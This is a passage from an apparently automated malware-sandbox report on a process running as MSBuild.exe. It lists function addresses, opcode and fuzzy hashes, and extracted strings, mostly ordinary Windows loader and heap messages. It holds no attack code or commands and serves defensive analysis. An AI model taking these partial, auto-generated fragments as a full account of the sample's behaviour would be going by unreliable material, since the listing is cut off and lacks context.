                                                                          • Opcode Fuzzy Hash: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
                                                                          • Instruction Fuzzy Hash: 8FE06D723042047BD610EE59EC41E9B73ACEFC5B10F00441AFA09A7241D674B911CAB9
                                                                          Function 0042CEB3 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 142 42ceb3-42ceec call 404673 call 42dd33 ExitProcess
                                                                          APIs
                                                                          • ExitProcess.KERNEL32(?,00000000,00000000,?,DB4F967F,?,?,DB4F967F), ref: 0042CEE7
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_400000_MSBuild.jbxd
                                                                          Yara matches
                                                                          Similarity
                                                                          • API ID: ExitProcess
                                                                          • String ID:
                                                                          • API String ID: 621844428-0
                                                                          • Opcode ID: 81d74574fff730ef8ffa995280186f1862f3d553ae12748c9d2894c8fee9ffea
                                                                          • Instruction ID: 1766ae2e7b72796083ce1554eeb2be80e0dee529967217328c78c90fce4a93bd
                                                                          • Opcode Fuzzy Hash: 81d74574fff730ef8ffa995280186f1862f3d553ae12748c9d2894c8fee9ffea
                                                                          • Instruction Fuzzy Hash: 2DE04F757112147BD110FA5ADC01F97776CDBC5714F40445AFA0867241C675790187F8
                                                                          Function 01392C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 147 1392c0a-1392c0f 148 1392c1f-1392c26 LdrInitializeThunk 147->148 149 1392c11-1392c18 147->149
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                                                                          • Instruction ID: 5395af78034d3f37a12e0fef1ddb81c430bc0ab77c9a0f02c67880c08a012418
                                                                          • Opcode Fuzzy Hash: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                                                                          • Instruction Fuzzy Hash: 5BB09B71D019C5D5EF11E7A4460C7177900B7D0705F55C061D2030651F4738D1D5E675

                                                                          Non-executed Functions

                                                                          Function 013D2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-2160512332
                                                                          • Opcode ID: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                                                                          • Instruction ID: 9f8a06dafa9fd72c9029bb406c92d4922da0fbfc1cd18303bc8a6032cb12efbc
                                                                          • Opcode Fuzzy Hash: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                                                                          • Instruction Fuzzy Hash: 2B928F72604342AFE721DF28D840B6BBBE8BF84758F04492DFA95D7251D770E844CB92
                                                                          Function 014012ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                                          • API String ID: 0-3591852110
                                                                          • Opcode ID: 15d43bf7953404d04c9b0ce306a31e11d7ee6004d764203d1cc476acd8a71f76
                                                                          • Instruction ID: 81bb0ffecdb7e4127f63c76bb91cf0d2c1e3a9684fb15ba690ce89add77672df
                                                                          • Opcode Fuzzy Hash: 15d43bf7953404d04c9b0ce306a31e11d7ee6004d764203d1cc476acd8a71f76
                                                                          • Instruction Fuzzy Hash: B412B130600642EFD726DF6AC441BB6BBF5FF09B14F18846AE4868B7A1D734E981CB50
                                                                          Function 0134D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                                          • API String ID: 0-3532704233
                                                                          • Opcode ID: 5ac52c1c574f150a1de0602a41e7f463f315ee0960ef85e5d6dcd3df6f469869
                                                                          • Instruction ID: dd20fb81a2ede0fdae67cdea85bad6e3489d3479fe1b7369870e3db2db65ffb7
                                                                          • Opcode Fuzzy Hash: 5ac52c1c574f150a1de0602a41e7f463f315ee0960ef85e5d6dcd3df6f469869
                                                                          • Instruction Fuzzy Hash: 1DB1AE725083159FDB21DF58C440A6FBBE8EF94758F41492EF989D7240DB34E948CB92
                                                                          Function 013E9179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                                          • API String ID: 2994545307-3063724069
                                                                          • Opcode ID: b07d311fbc126a987f64df303f4b974bdbe01ba9f131f54e0c73191ae6bc045d
                                                                          • Instruction ID: 26113b2ee4797de396c6738be44a3510b8addd4618cf37219550ef1d6175b1df
                                                                          • Opcode Fuzzy Hash: b07d311fbc126a987f64df303f4b974bdbe01ba9f131f54e0c73191ae6bc045d
                                                                          • Instruction Fuzzy Hash: A3D1E7B2804366AFDB31DA58C844B6FB7E8BF9472CF014929FA44A7290D774D904CB92
                                                                          Function 01400274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                                          • API String ID: 0-1700792311
                                                                          • Opcode ID: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                                                                          • Instruction ID: 2067a15501694986da4ef37cb5b0e59d64f8d32cd01d551e1cf33ae9acd17474
                                                                          • Opcode Fuzzy Hash: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                                                                          • Instruction Fuzzy Hash: 88D1C135500685EFDB22DFAAC440BAABBF1FF5A754F08806AF4459B3A2C735E941CB14
                                                                          Function 0134D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • @, xrefs: 0134D0FD
                                                                          • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 0134D0CF
                                                                          • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 0134D146
                                                                          • @, xrefs: 0134D2AF
                                                                          • Control Panel\Desktop\LanguageConfiguration, xrefs: 0134D196
                                                                          • @, xrefs: 0134D313
                                                                          • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 0134D262
                                                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 0134D2C3
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                                          • API String ID: 0-1356375266
                                                                          • Opcode ID: f7452d6c2fcddf6f81db5239a6a49ae5d12c69c14705a44bb761f1d6967b8ffc
                                                                          • Instruction ID: 150d96efe5d727a3c0bf62734b3426849039e38f136f340612651f8ae7bf860e
                                                                          • Opcode Fuzzy Hash: f7452d6c2fcddf6f81db5239a6a49ae5d12c69c14705a44bb761f1d6967b8ffc
                                                                          • Instruction Fuzzy Hash: AEA17D729083069FE721DF69C444B5BBBE8FB94729F40492EFA8897240D774E948CF52
                                                                          Function 0134F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                                          • API String ID: 0-523794902
                                                                          • Opcode ID: 2f3ffffb7a9a6ab337905de7820eaf5555ffbf4aa45b3a6e363205ce60aeee89
                                                                          • Instruction ID: f72be83896e539b4857c03c32c345f8b8ba6a8458fef0579b5174541a0cb0e8c
                                                                          • Opcode Fuzzy Hash: 2f3ffffb7a9a6ab337905de7820eaf5555ffbf4aa45b3a6e363205ce60aeee89
                                                                          • Instruction Fuzzy Hash: 1042FD35208382DFD715DF2DC484A6ABBE9FF98308F08496DE5868B792D734E845CB52
                                                                          Function 0136B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                                          • API String ID: 0-122214566
                                                                          • Opcode ID: 3c3ebc13bbc89a22c15f689049c2772b74124eb1d27a63d80354b6aa087bc763
                                                                          • Instruction ID: 24bf1eaca9e78e6ec5b9604bcb5990135d675da00898dbd43efced02f7090ed9
                                                                          • Opcode Fuzzy Hash: 3c3ebc13bbc89a22c15f689049c2772b74124eb1d27a63d80354b6aa087bc763
                                                                          • Instruction Fuzzy Hash: 1FC13831B002199BDB259B6CC881BBEFBADAF4530CF14C0A9DA05EB69DE774C844C791
                                                                          Function 013863FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-792281065
                                                                          • Opcode ID: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                                                                          • Instruction ID: cd89486a2d6481b4a6661878d16fb15e085e18b44ba02104b0759f0e7fc706a4
                                                                          • Opcode Fuzzy Hash: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                                                                          • Instruction Fuzzy Hash: 959102B5B003199BEB25EF5CE856BAE7BA6BF41F2CF10412DE9407B691DB709801C790
                                                                          Function 013FF525 Relevance: 7.7, Strings: 6, Instructions: 231COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                                          • API String ID: 0-1745908468
                                                                          • Opcode ID: 7c3c039da9431724bb727b034919987a00e9c8feb6bfd47076f382ab3adaf869
                                                                          • Instruction ID: c46d0923773d6ef7b406792bd855c8b28f6b14a379eb9c35ba9dc44fc5217eea
                                                                          • Opcode Fuzzy Hash: 7c3c039da9431724bb727b034919987a00e9c8feb6bfd47076f382ab3adaf869
                                                                          • Instruction Fuzzy Hash: 1B910F36900655DFDB12DFA8C440AADFBF9FF59728F18801DEA45AB7A1CB35A940CB10
                                                                          Function 0134645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • Getting the shim engine exports failed with status 0x%08lx, xrefs: 013A9A01
                                                                          • LdrpInitShimEngine, xrefs: 013A99F4, 013A9A07, 013A9A30
                                                                          • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 013A9A2A
                                                                          • apphelp.dll, xrefs: 01346496
                                                                          • minkernel\ntdll\ldrinit.c, xrefs: 013A9A11, 013A9A3A
                                                                          • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 013A99ED
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-204845295
                                                                          • Opcode ID: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                                                                          • Instruction ID: 1394810b7717e3b9d5204b86707a48afb4a79cff53141ca28abb74760bc211ad
                                                                          • Opcode Fuzzy Hash: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                                                                          • Instruction Fuzzy Hash: 54519275208305DFE725DF28D851B6B7BE8FF85A4CF40491EF595AB260DA30E904CB92
                                                                          Function 0137F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 013C02E7
                                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 013C02BD
                                                                          • RTL: Re-Waiting, xrefs: 013C031E
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                                          • API String ID: 0-2474120054
                                                                          • Opcode ID: 8e701be2e5952bef4c32a3215871c5848667e0fc01f0b3dda4527840f62e7814
                                                                          • Instruction ID: b2b41c9d531f0598e04ccfd4606c7f78b98952e9665d232f78eaaec3cbd697b1
                                                                          • Opcode Fuzzy Hash: 8e701be2e5952bef4c32a3215871c5848667e0fc01f0b3dda4527840f62e7814
                                                                          • Instruction Fuzzy Hash: B5E1CE34604781DFE725CF2CC884B2ABBE9BB84728F140A1DF5A58B6E1D778D845CB42
                                                                          Function 013751EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • Kernel-MUI-Number-Allowed, xrefs: 01375247
                                                                          • WindowsExcludedProcs, xrefs: 0137522A
                                                                          • Kernel-MUI-Language-SKU, xrefs: 0137542B
                                                                          • Kernel-MUI-Language-Disallowed, xrefs: 01375352
                                                                          • Kernel-MUI-Language-Allowed, xrefs: 0137527B
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                                          • API String ID: 0-258546922
                                                                          • Opcode ID: 5c70e83398d887c3af6106ff85a76ecddd322465e1e39037e7ba7550554345fe
                                                                          • Instruction ID: 6faa0b41ec8e372969cbce6b9fe5c97b0f07ba4e2cfa132efe7f1ca9df271102
                                                                          • Opcode Fuzzy Hash: 5c70e83398d887c3af6106ff85a76ecddd322465e1e39037e7ba7550554345fe
                                                                          • Instruction Fuzzy Hash: E2F14C72D00229EBDF25DF98C980ADEBBBDFF58658F11406AE505E7214EB749E01CB90
                                                                          Function 013670C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                                          • API String ID: 0-3178619729
                                                                          • Opcode ID: 4676181a940b165ec28878884a2f37e914f97066a7ef808baf9532f59e4814cb
                                                                          • Instruction ID: 08fe548ef5f82b55b38d0aea3421d34c2f7e54781ea835512150fc64739b00d5
                                                                          • Opcode Fuzzy Hash: 4676181a940b165ec28878884a2f37e914f97066a7ef808baf9532f59e4814cb
                                                                          • Instruction Fuzzy Hash: DD13AD70A00359CFEB25CF68C4907A9BBF9BF59308F14C1A9D949AB389D734A945CF90
                                                                          Function 01361070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                                          • API String ID: 0-3570731704
                                                                          • Opcode ID: c9c101331db020fec53804cb774742db742cc82c7e8a9c8bd8efc44edba4a12b
                                                                          • Instruction ID: fc429155149dc5a8966bb5d58580c4928bce9919a56d7762494c1ed1242edf7e
                                                                          • Opcode Fuzzy Hash: c9c101331db020fec53804cb774742db742cc82c7e8a9c8bd8efc44edba4a12b
                                                                          • Instruction Fuzzy Hash: A6925D71A01269CFEB25CF18CC80BA9B7B9BF85318F1581EAD949A7355E7309E80CF51
                                                                          Function 0135A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                                          • API String ID: 0-379654539
                                                                          • Opcode ID: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                                                                          • Instruction ID: 00f86c61a354c81ba5861caea33194da93359da4034763db44385f176e579eee
                                                                          • Opcode Fuzzy Hash: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                                                                          • Instruction Fuzzy Hash: BEC18AB4108386CFD751CF58C040BAABBE8BF88B0CF044A6AF9959B750E734D949DB56
                                                                          Function 01388402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • LdrpInitializeProcess, xrefs: 01388422
                                                                          • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0138855E
                                                                          • minkernel\ntdll\ldrinit.c, xrefs: 01388421
                                                                          • @, xrefs: 01388591
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-1918872054
                                                                          • Opcode ID: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                                                                          • Instruction ID: 14c70c00ace2cf385e95be5dcc18c6fad3235a4cb791e46fa6b4fd44021851bc
                                                                          • Opcode Fuzzy Hash: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                                                                          • Instruction Fuzzy Hash: CC918F71608345AFDB21EF69CC40EABBAECBF8475CF80496DF68496151E330D904CB62
                                                                          Function 014011A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                                          • API String ID: 0-336120773
                                                                          • Opcode ID: b2226f1a0921c36840121068ad5843f12fdd7ecff45a57316d4441c10f61e5e8
                                                                          • Instruction ID: 61f1b1f164eec6f77f2b7d35a62a64db98666cf46630ac5f54585fc44f440408
                                                                          • Opcode Fuzzy Hash: b2226f1a0921c36840121068ad5843f12fdd7ecff45a57316d4441c10f61e5e8
                                                                          • Instruction Fuzzy Hash: 4C31B275200211EFD712EBAEC885FA7B7E8EF05B68F14006AF501EB3E5D670E944CA55
                                                                          Function 0137245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • LdrpDynamicShimModule, xrefs: 013BA998
                                                                          • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 013BA992
                                                                          • apphelp.dll, xrefs: 01372462
                                                                          • minkernel\ntdll\ldrinit.c, xrefs: 013BA9A2
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                          • API String ID: 0-176724104
                                                                          • Opcode ID: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                                                                          • Instruction ID: 65da4b6960076a41a26e8c8b7aa93832230433ea551762129cfe0f600053987f
                                                                          • Opcode Fuzzy Hash: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                                                                          • Instruction Fuzzy Hash: D9315779A00205EBEB31DF5DD881EAABBB8FB84B0CF16405DFA0167665E7709881D790
                                                                          Function 01349148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                                          • API String ID: 2994545307-1391187441
                                                                          • Opcode ID: 3ba5623dd4e3ef6f69c15a82b057fd175faaecde024e8181522bdcf54ddfd213
                                                                          • Instruction ID: dd9325cf4a54220893e091843cf02191efa71f1f1ec28a14cb5a10723eb6dbbf
                                                                          • Opcode Fuzzy Hash: 3ba5623dd4e3ef6f69c15a82b057fd175faaecde024e8181522bdcf54ddfd213
                                                                          • Instruction Fuzzy Hash: 3A31AF36600219EFDB01DB99C889FABBBF8EF4972CF144059E915AB291D770ED40CB60
                                                                          Function 01351460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 01351728
                                                                          • HEAP: , xrefs: 01351596
                                                                          • HEAP[%wZ]: , xrefs: 01351712
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                                          • API String ID: 0-3178619729
                                                                          • Opcode ID: 6598884af7b3928cb5bc389f2ad413a54069929f841e2bca6b6922fa821845f4
                                                                          • Instruction ID: dc31a6e6fc1852f1cfc2a48196b10755943d55e7441460dc84041d181dc1d989
